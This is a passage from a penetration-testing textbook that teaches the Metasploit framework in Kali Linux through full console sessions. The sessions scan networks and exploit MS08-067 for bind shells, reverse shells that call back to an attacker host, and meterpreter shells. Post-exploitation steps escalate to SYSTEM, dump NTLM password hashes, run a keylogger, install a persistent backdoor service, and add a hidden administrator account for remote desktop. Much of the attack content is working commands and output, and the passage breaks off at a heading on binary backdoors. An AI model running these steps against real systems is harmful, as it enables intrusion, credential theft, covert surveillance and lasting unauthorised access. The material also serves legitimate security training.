
Advanced exploitation toolkit

Kali Linux is preloaded with some of the best and most advanced exploitation toolkits. The Metasploit framework (http://www.metasploit.com) is one of these. We have explained it in a greater detail and presented a number of scenarios that would effectively increase the productivity and enhance your experience with penetration testing. The framework was developed in the Ruby programming language and supports modularization such that it makes it easier for the penetration tester with optimum programming skills to extend or develop custom plugins and tools. The architecture of a framework is divided into three broad categories: libraries, interfaces, and modules. A key part of our exercises is to focus on the capabilities of various interfaces and modules. Interfaces (console, CLI, web, and GUI) basically provide the front-end operational activity when dealing with any type of modules (exploits, payloads, auxiliaries, encoders, and NOP). Each of the following modules have their own meaning and are function-specific to the penetration testing process:

- **Exploit**: This module is the proof-of-concept code developed to take advantage of a particular vulnerability in a target system
- **Payload**: This module is a malicious code intended as a part of an exploit or independently compiled to run the arbitrary commands on the target system
- **Auxiliaries**: These modules are the set of tools developed to perform scanning, sniffing, wardialing, fingerprinting, and other security assessment tasks
- **Encoders**: These modules are provided to evade the detection of antivirus, firewall, IDS/IPS, and other similar malware defenses by encoding the payload during a penetration operation
- **No Operation or No Operation Performed** (**NOP**): This module is an assembly language instruction often added into a shellcode to perform nothing but to cover a consistent payload space

For your understanding, we will explain the basic use of two well-known Metasploit interfaces with their relevant command-line options. Each interface has its own strengths and weaknesses. However, we strongly recommend that you stick to a *console* version as it supports most of the framework features.

MSFConsole

MSFConsole is one of the most efficient, powerful, and all-in-one centralized front-end interfaces for penetration testers to make the best use of the exploitation framework. To access `msfconsole`, navigate to **Applications** | **Kali Linux** | **Exploitation Tools** | **Metasploit** | **metasploit framework** or use the terminal to execute the following command:

```
# msfconsole
```

You will be dropped into an interactive console interface. To learn about all the available commands, you can type the following command:

```
msf > help
```

This will display two sets of commands; one set will be widely used across the framework, and the other will be specific to the database backend where the assessment parameters and results are stored. Instructions about other usage options can be retrieved through the use of `-h`, following the core command. Let us examine the use of the `show` command as follows:

```
msf > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion, targets,
actions
```

This command is typically used to display the available modules of a given type or all of the modules. The most frequently used commands could be any of the following:

- `show auxiliary` : This command will display all the auxiliary modules.
- `show exploits` : This command will get a list of all the exploits within the framework.
- `show payloads` : This command will retrieve a list of payloads for all platforms. However, using the same command in the context of a chosen exploit will display only compatible payloads. For instance, Windows payloads will only be displayed with the Windows-compatible exploits.
- `show encoders` : This command will print the list of available encoders.

- `show nops` : This command will display all the available NOP generators.
- `show options` : This command will display the settings and options available for the specific module.
- `show targets` : This command will help us to extract a list of target OS supported by a particular exploit module.
- `show advanced` : This command will provide you with more options to fine-tune your exploit execution.

We have compiled a short list of the most valuable commands in the following table; you can practice each one of them with the Metasploit console. The italicized terms next to the commands will need to be provided by you:

Commands	Description
`check`	To verify a particular exploit against your vulnerable target without exploiting it. This command is not supported by many exploits.
`connect` *ip port*	Works similar to that of Netcat and Telnet tools.
`exploit`	To launch a selected exploit.
`run`	To launch a selected auxiliary.
`jobs`	Lists all the background modules currently running and provides the ability to terminate them.
`route` *add subnet netmask sessionid*	To add a route for the traffic through a compromised session for network pivoting purposes.
`info` *module*	Displays detailed information about a particular module (exploit, auxiliary, and so on).
`set` *param value*	To configure the parameter value within a current module.
`setg` *param value*	To set the parameter value globally across the framework to be used by all exploits and auxiliary modules.
`unset` *param*	It is a reverse of the `set` command. You can also reset all variables by using the `unset all` command at once.
`unsetg` *param*	To unset one or more global variables.
`sessions`	Ability to display, interact, and terminate the target sessions. Use with `-l` for listing, `-i` ID for interaction, and `-k` ID for termination.
`search` *string*	Provides a search facility through module names and descriptions.
`use` *module*	Select a particular module in the context of penetration testing.

We will demonstrate the practical use of some of these commands in the upcoming sections. It is important for you to understand their basic use with different sets of modules within the framework.

MSFCLI

Similar to the MSFConsole interface, a **command-line interface** (**CLI**) provides an extensive coverage of various modules that can be launched at any one instance. However, it lacks some of the advanced automation features of MSFConsole.

To access `msfcli`, use the terminal to execute the following command:

```
# msfcli -h
```

This will display all the available modes similar to that of MSFConsole as well as usage instructions for selecting the particular module and setting its parameters. Note that all the variables or parameters should follow the convention of `param=value` and that all options are case-sensitive. We have presented a small exercise to select and execute a particular exploit as follows:

```
# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)
```

The use of `O` at the end of the preceding command instructs the framework to display the available options for the selected exploit. The following command sets the target IP using the `RHOST` parameter:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...

Compatible payloads
===================

   Name                              Description
   ----                              -----------
   generic/debug_trap                Generate a debug trap in the target
process
   generic/shell_bind_tcp            Listen for a connection and spawn a
command shell
...
```

Finally, after setting the target IP using the `RHOST` parameter, it is time to select the compatible payload and execute our exploit as follows:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST=192.168.0.3
PAYLOAD=windows/shell/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\WINDOWS\system32>
```

As you can see, we have acquired a local shell access to our target machine after setting the `LHOST` parameter for a chosen payload.

Ninja 101 drills

The examples provided in this section will clear your understanding of how the exploitation framework can be used in various ways. It is not possible to pump every single aspect or use of the Metasploit framework, but we have carefully examined and extracted the most important features for your drills. To learn and get an in-depth knowledge of the Metasploit framework, we highly recommend that you should read an online tutorial, *Metasploit Unleashed*, at http://www.offensive-security.com/metasploit-unleashed/. This tutorial has been developed with advanced material that includes insights on exploit development, vulnerability research, and assessment techniques from a penetration testing perspective.

Scenario 1

During this exercise, we will demonstrate how the Metasploit framework can be utilized for port scanning, OS fingerprinting, and service identification using an integrated Nmap facility. On your MSFConsole, execute the following commands:

```
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7
Starting Nmap 5.00 ( http://nmap.org ) at 2010-11-11 22:34 UTC
NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 22:34
Scanning 192.168.0.7 [1 port]
Completed ARP Ping Scan at 22:34, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:34
Scanning 192.168.0.7 [1000 ports]
Discovered open port 445/tcp on 192.168.0.7
Discovered open port 135/tcp on 192.168.0.7
Discovered open port 25/tcp on 192.168.0.7
Discovered open port 139/tcp on 192.168.0.7
Discovered open port 3389/tcp on 192.168.0.7
Discovered open port 80/tcp on 192.168.0.7
Discovered open port 443/tcp on 192.168.0.7
Discovered open port 21/tcp on 192.168.0.7
Discovered open port 1025/tcp on 192.168.0.7
Discovered open port 1433/tcp on 192.168.0.7
Completed SYN Stealth Scan at 22:34, 3.04s elapsed (1000 total ports)
Initiating Service scan at 22:34
Scanning 10 services on 192.168.0.7
Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.7
...
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
25/tcp   open  smtp          Microsoft ESMTP 6.0.2600.2180
80/tcp   open  http          Microsoft IIS httpd 5.1
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  https?
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc         Microsoft Windows RPC
1433/tcp open  ms-sql-s      Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open  microsoft-rdp Microsoft Terminal Service
MAC Address: 00:0B:6B:68:19:91 (Wistron Neweb)
Device type: general purpose
```

```
Running: Microsoft Windows 2000|XP|2003
OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or
Windows Server 2003 SP0 - SP2
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: custdesk; OS: Windows
...
Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds
           Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)
```

At this point, we have successfully scanned our target and saved the results in our current database session. To list the target and services discovered, you can issue the `db_hosts` and `db_services` commands independently. Additionally, if you have already scanned your target using the Nmap program separately and saved the result in the `XML` format, you can import these results into Metasploit using the `db_import_nmap_xml` command.

Scenario 2

In this example, we will illustrate a few auxiliaries from the Metasploit framework. The key is to understand their importance in the context of the vulnerability analysis process.

SNMP community scanner

This module will perform the **Simple Network Management Protocol** (**SNMP**) sweeps against the given range of network addresses using a well-known set of community strings and print the discovered SNMP device information on the screen as follows:

```
msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...

Auxiliary
=========

   Name                     Disclosure Date  Rank    Description
   ----                     ---------------  ----    -----------
   scanner/snmp/aix_version                  normal  AIX SNMP Scanner
Auxiliary Module
   scanner/snmp/community                    normal  SNMP Community
Scanner
...
msf > use auxiliary/scanner/snmp/community
msf auxiliary(community) > show options
Module options:

   Name         Current Setting                               Required
Description
   ----         ---------------                               --------
-----------
   BATCHSIZE    256                                           yes  The
number of hosts to probe in each set
   CHOST                                                      no   The
local client address
   COMMUNITIES  /opt/metasploit3/msf3/data/wordlists/snmp.txt  no   The
list of communities that should be attempted per host
   RHOSTS                                                     yes  The
target address range or CIDR identifier
```

```
   RPORT       161                                              yes  The
target port
   THREADS     1                                                yes  The
number of concurrent threads
msf auxiliary(community) > set RHOSTS 10.2.131.0/24
RHOSTS => 10.2.131.0/24
msf auxiliary(community) > set THREADS 3
THREADS => 3
msf auxiliary(community) > set BATCHSIZE 10
BATCHSIZE => 10
msf auxiliary(community) > run
[*] >> progress (10.2.131.0-10.2.131.9) 0/170...
[*] >> progress (10.2.131.10-10.2.131.19) 0/170...
[*] >> progress (10.2.131.20-10.2.131.29) 0/170...
[*] Scanned 030 of 256 hosts (011% complete)
[*] >> progress (10.2.131.30-10.2.131.39) 0/170...
[*] >> progress (10.2.131.40-10.2.131.49) 0/170...
[*] >> progress (10.2.131.50-10.2.131.59) 0/170...
[*] Scanned 060 of 256 hosts (023% complete)
[*] >> progress (10.2.131.60-10.2.131.69) 0/170...
[*] >> progress (10.2.131.70-10.2.131.79) 0/170...
[*] Scanned 080 of 256 hosts (031% complete)
[*] >> progress (10.2.131.80-10.2.131.89) 0/170...
[*] >> progress (10.2.131.90-10.2.131.99) 0/170...
[*] >> progress (10.2.131.100-10.2.131.109) 0/170...
[*] 10.2.131.109 'public' 'HP ETHERNET MULTI-ENVIRONMENT,ROM
none,JETDIRECT,JD128,EEPROM V.33.19,CIDATE 12/17/2008'
[*] Scanned 110 of 256 hosts (042% complete)
...
[*] >> progress (10.2.131.240-10.2.131.249) 0/170...
[*] >> progress (10.2.131.250-10.2.131.255) 0/102...
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

As you can see, we have discovered one SNMP-enabled device with the `public` community string. Although it enables the read-only access to the device, we can still get valuable information that will be beneficial during the network penetration testing. This information may involve system data, list of running services, network addresses, version and patch levels, and so on.

VNC blank authentication scanner

This module will scan the range of IP addresses for the **Virtual Network Computing** (**VNC**) servers that are accessible without any authentication details as follows:

```
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
RHOSTS => 10.4.124.0/24
msf auxiliary(vnc_none_auth) > run
[*] 10.4.124.22:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.23:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.25:5900, VNC server protocol version : "RFB 004.000", not
```

```
supported!
[*] Scanned 026 of 256 hosts (010% complete)
[*] 10.4.124.26:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.27:5900, VNC server security types supported : None, free
access!
[*] 10.4.124.28:5900, VNC server security types supported : None, free
access!
[*] 10.4.124.29:5900, VNC server protocol version : "RFB 004.000", not
supported!
...
[*] 10.4.124.224:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.225:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.227:5900, VNC server security types supported : None, free
access!
[*] 10.4.124.228:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] 10.4.124.229:5900, VNC server protocol version : "RFB 004.000", not
supported!
[*] Scanned 231 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

Note that we have found a couple of VNC servers accessible without authentication. This attack vector can become a serious threat for system administrators and can trivially invite unwanted guests to your VNC server from the Internet if no authorization controls are enabled.

IIS6 WebDAV unicode auth bypass

This module helps you to determine the authentication bypass vulnerability of IIS6 WebDAV by scanning the range of network addresses against the known patterns of exploitable conditions as follows:

```
msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
msf auxiliary(ms09_020_webdav_unicode_bypass) > show options
msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS 10.8.183.0/24
RHOSTS => 10.8.183.0/24
msf auxiliary(ms09_020_webdav_unicode_bypass) > set THREADS 10
THREADS => 10
msf auxiliary(ms09_020_webdav_unicode_bypass) > run
[-] Folder does not require authentication. [302]
[-] Folder does not require authentication. [400]
[*] Confirmed protected folder http://10.8.183.9:80/ 401 (10.8.183.9)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[-] Folder does not require authentication. [403]
[-] Folder does not require authentication. [302]
[-] Folder does not require authentication. [501]
[-] Folder does not require authentication. [501]
...
[*] Confirmed protected folder http://10.8.183.162:80/ 401 (10.8.183.162)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
```

```
...
[*] Confirmed protected folder http://10.8.183.155:80/ 401 (10.8.183.155)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[*] Confirmed protected folder http://10.8.183.166:80/ 401 (10.8.183.166)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[*] Confirmed protected folder http://10.8.183.168:80/ 401 (10.8.183.168)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[*] Confirmed protected folder http://10.8.183.167:80/ 401 (10.8.183.167)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[-] Folder does not require authentication. [501]
[*] Confirmed protected folder http://10.8.183.171:80/ 401 (10.8.183.171)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[-] Folder does not require authentication. [501]
[-] Folder does not require authentication. [501]
...
[-] Folder does not require authentication. [302]
[*] Confirmed protected folder http://10.8.183.178:80/ 401 (10.8.183.178)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[-] Folder does not require authentication. [501]
[-] Folder does not require authentication. [501]
[*] Scanned 182 of 256 hosts (071% complete)
[-] Folder does not require authentication. [501]
[*] Confirmed protected folder http://10.8.183.183:80/ 401 (10.8.183.183)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
[-] Folder does not require authentication. [302]
[*] Confirmed protected folder http://10.8.183.188:80/ 401 (10.8.183.188)
[*]     Testing for unicode bypass in IIS6 with WebDAV enabled using
PROPFIND request.
...
[-] Folder does not require authentication. [405]
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

Thus, we have successfully validated our target network against the *MS09-020 IIS6 WebDAV Unicode Authentication Bypass* vulnerability. Perhaps, this module has helped us in discovering the vulnerable server configuration that is currently posing a risk to our network.

Scenario 3

We will now explore the use of some common payloads (bind, reverse, and meterpreter), and discuss their capabilities from an exploitation point of view. This exercise will give you an idea about how and when to use a particular payload.

Bind shell

A bind shell is a remote shell connection that provides access to the target system on the successful exploitation and execution of shellcode by setting up a bind port listener. This opens a gateway for an attacker to connect back to the compromised machine on the bind shell port using a tool such as Netcat, which could tunnel the standard input (`stdin`) and output (`stdout`) over a TCP connection. This scenario works similar to that of a Telnet client establishing a connection to a Telnet server and is applicable in an environment where the attacker is behind the **Network Address Translation** (**NAT**) or firewall and a direct contact from the compromised host to the attacker IP is not possible.

Following are the commands to begin exploitation and set up a bind shell:

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:41289 -> 192.168.0.7:4444)
at Sat Nov 13 19:01:23 +0000 2010
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

Thus, we have analyzed that Metasploit also automates the process of connecting to the bind shell using an integrated multipayload handler. Tools such as Netcat can come in handy in situations where you write your own exploit with a bind shellcode, which should require a third-party handler to establish a connection to the compromised host. You can read some practical examples of Netcat usage for various network security operations from http://en.wikipedia.org/wiki/Netcat.

Reverse shell

A reverse shell is completely opposite to a bind shell. Instead of binding a port on the target system and waiting for the connection from attacker's machine, it simply connects back to the attacker's IP and port and spawns a shell. A visible dimension of the reverse shell is to consider a target behind NAT or firewall that prevents public access to its system resources.

Following are the commands to begin exploitation and set up a reverse shell:

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)
at Sat Nov 13 22:59:02 +0000 2010
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\WINDOWS\system32>
```

You can clearly differentiate between a reverse shell and bind shell using the attacker's IP. We have to provide the attacker's IP (for example, `LHOST 192.168.0.3`) in reverse shell configuration, while there is no need to provide it in a bind shell.

> **Tip**
>
> **What is the difference between the inline and stager payloads?**
>
> An inline payload is a single self-contained shellcode that is to be executed with one instance of an exploit. While, the stager payload creates a communication channel between the attacker and victim machine to read-off the rest of the staging shellcode in order to perform a specific task. It is a common practice to choose stager payloads because they are much smaller in size than inline payloads.

Meterpreter

A meterpreter is an advanced, stealthy, multifaceted, and dynamically extensible payload, which operates by injecting a reflective DLL into a target memory. Scripts and plugins can be dynamically loaded at runtime for the purpose of extending the post exploitation activity. This includes privilege escalation, dumping system accounts, keylogging, persistent backdoor service, enabling a remote desktop, and many other extensions. Moreover, the whole communication of the meterpreter shell is encrypted by default.

Following are the commands to begin exploitation and set up a meterpreter payload:

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > show payloads
...
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
...
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1029) at
Sun Nov 14 02:44:26 +0000 2010
meterpreter > help
...
```

As you can see, we have successfully acquired a meterpreter shell. By typing `help`, we will be able to see the various types of commands available to us. Let us check our current privileges and escalate them to the `SYSTEM` level using a meterpreter script named `getsystem` using the following command:

```
meterpreter > getuid
Server username: CUSTDESK\salesdept
meterpreter > use priv
meterpreter > getsystem -h
...
```

This will display the number of techniques available for elevating our privileges. By using a default command, `getsystem`, without any options, will attempt every single technique against the target and will stop as soon as it is successful:

```
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer: CUSTDESK
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
```

Tip

If you choose to execute the `exploit -j -z` command, you are pushing the exploit execution to the background and will not be presented with an interactive meterpreter shell. However, if the session has been established successfully, then you can interact with that particular session using `sessions -i id` or get a list of the active sessions by typing `sessions -l` in order to know the exact ID value.

Let us use the power of the meterpreter shell and dump the current system accounts and passwords held by the target. These will be displayed in the NTLM hash format and can be reversed by cracking through several tools and techniques using the following commands:

```
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
71e52ce6b86e5da0c213566a1236f892...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
h
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
:::
HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb811
d2d986df9:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b283
5ec013cfb9c5:::
Momin
Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283
678:::
IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf6b8
0e02744513:::
ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d8e1
dd:::
IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5196
e00f94e113:::
h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:
::
salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd377
b1693:::
```

Now, let us take this activity further by recording the keystrokes using the key-logging capability of the meterpreter shell using the following commands, which may reveal a series of useful data from our target:

```
meterpreter > getuid
```

```
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps
Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]
 4     System            x86   0        NT AUTHORITY\SYSTEM
 384   smss.exe          x86   0        NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe
 488   csrss.exe         x86   0        NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
 648   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
 692   services.exe      x86   0        NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe
 704   lsass.exe         x86   0        NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\lsass.exe
...
148   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe
 3172  explorer.exe      x86   0        CUSTDESK\salesdept
C:\WINDOWS\Explorer.EXE
 3236  reader_sl.exe     x86   0        CUSTDESK\salesdept
C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe
```

At this stage, we will migrate the meterpreter shell to the `explorer.exe` process (`3172`) in order to start logging the current user activity on a system using the following commands:

```
meterpreter > migrate 3172
[*] Migrating to 3172...
[*] Migration completed successfully.
meterpreter > getuid
Server username: CUSTDESK\salesdept
meterpreter > keyscan_start
Starting the keystroke sniffer...
```

We have now started our keylogger and should wait for some time to get the chunks of recorded data.

```
meterpreter > keyscan_dump
Dumping captured keystrokes...
 <Return> www.yahoo.com <Return>  <Back> www.bbc.co.uk <Return>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
```

As you can see, we have dumped the target's web surfing activity. In similar terms, we could also capture the credentials of all users logging in to the system by migrating the `winlogon.exe` process (`648`).

You have exploited and gained access to the target system but now want to keep this access permanent even if the exploited service or application will be patched at a later stage. This kind of activity is typically known as **backdoor service**. Note that the backdoor service provided by the meterpreter shell does not require authentication before accessing a particular network port on the target system. This may allow some uninvited guests to access your target and pose a significant risk. As a part of following the rules of engagement for penetration testing, such an activity is generally not allowed. So, we strongly suggest you to keep the backdoor service away from an official pentest environment. You should also ensure that this was explicitly permitted in writing during the scoping and rules of engagement phases.

```
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1032) at
Tue Nov 16 19:21:39 +0000 2010
meterpreter > ps
...
 292   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe
 1840  csrss.exe         x86   2        NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
 528   winlogon.exe      x86   2        NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
 240   rdpclip.exe       x86   0        CUSTDESK\Momin Desktop
C:\WINDOWS\system32\rdpclip.exe
 1060  userinit.exe      x86   0        CUSTDESK\Momin Desktop
C:\WINDOWS\system32\userinit.exe
 1544  explorer.exe      x86   0        CUSTDESK\Momin Desktop
C:\WINDOWS\Explorer.EXE
...
meterpreter > migrate 1544
[*] Migrating to 1544...
[*] Migration completed successfully.
meterpreter > run metsvc -h
...
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\MOMIND~1
\LOCALS~1\Temp\oNyLOPeS...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
        * Installing service metsvc
 * Starting service
Service metsvc successfully installed.
```

So, we have finally started the backdoor service on our target. We will close the current meterpreter session and use `multi/handler` with a `windows/metsvc_bind_tcp` payload to interact with our backdoor service whenever we want.

```
meterpreter > exit
[*] Meterpreter session 1 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > back
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
```

```
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.0.3:37251 -> 192.168.0.7:31337)
at Tue Nov 16 20:02:05 +0000 2010
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Let us use another useful meterpreter script, `getgui`, to enable a remote desktop access for our target. The following exercise will create a new user account on the target and enable remote desktop service if it was disabled previously:

```
meterpreter > run getgui -u btuser -p btpass
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'en_EN'
[*] Setting user account for logon
[*]     Adding User: btuser with Password: btpass
[*]     Adding User: btuser to local group 'Remote Desktop Users'
[*]     Adding User: btuser to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf3
/logs/scripts/getgui/clean_up__20101116.3447.rc
```

Now, we can log in to our target system using the `rdesktop` program by entering the following command on another terminal:

```
# rdesktop 192.168.0.7:3389
```

Note that if you already hold a cracked password for any existing user on the target machine, you can simply execute the `run getgui -e` command to enable the remote desktop service instead of adding a new user. Additionally, do not forget to clean up your tracks on the system by executing the `getgui/clean_up` script cited at the end of the previous output.

Tip

How should I extend my attack landscape by gaining a deeper access to the targeted network that is inaccessible from outside?

Metasploit provides a capability to view and add new routes to the destination network using the `route add` *targetSubnet targetSubnetMask SessionId* command (for example, `route add 10.2.4.0 255.255.255.0 1`). Here the `SessionId` parameter points to the existing meterpreter session (gateway), and the `targetsubnet` parameter is another network address (or dual-homed Ethernet network address) that resides beyond our compromised target. Once you set Metasploit to route all the traffic through a compromised host session, we are ready to penetrate further into a network which is normally non-routable from our side. This terminology is commonly known as **pivoting** or **foot-holding**.

Scenario 4

Until now, we have focused on various options available to remotely exploit the target using the Metasploit framework. What about the client-side exploitation? To answer this question, we have presented some key exercises to illustrate the role of Metasploit in the client-side exploitation and to understand its flexibility and strength from a penetration tester's view.

Generating a binary backdoor

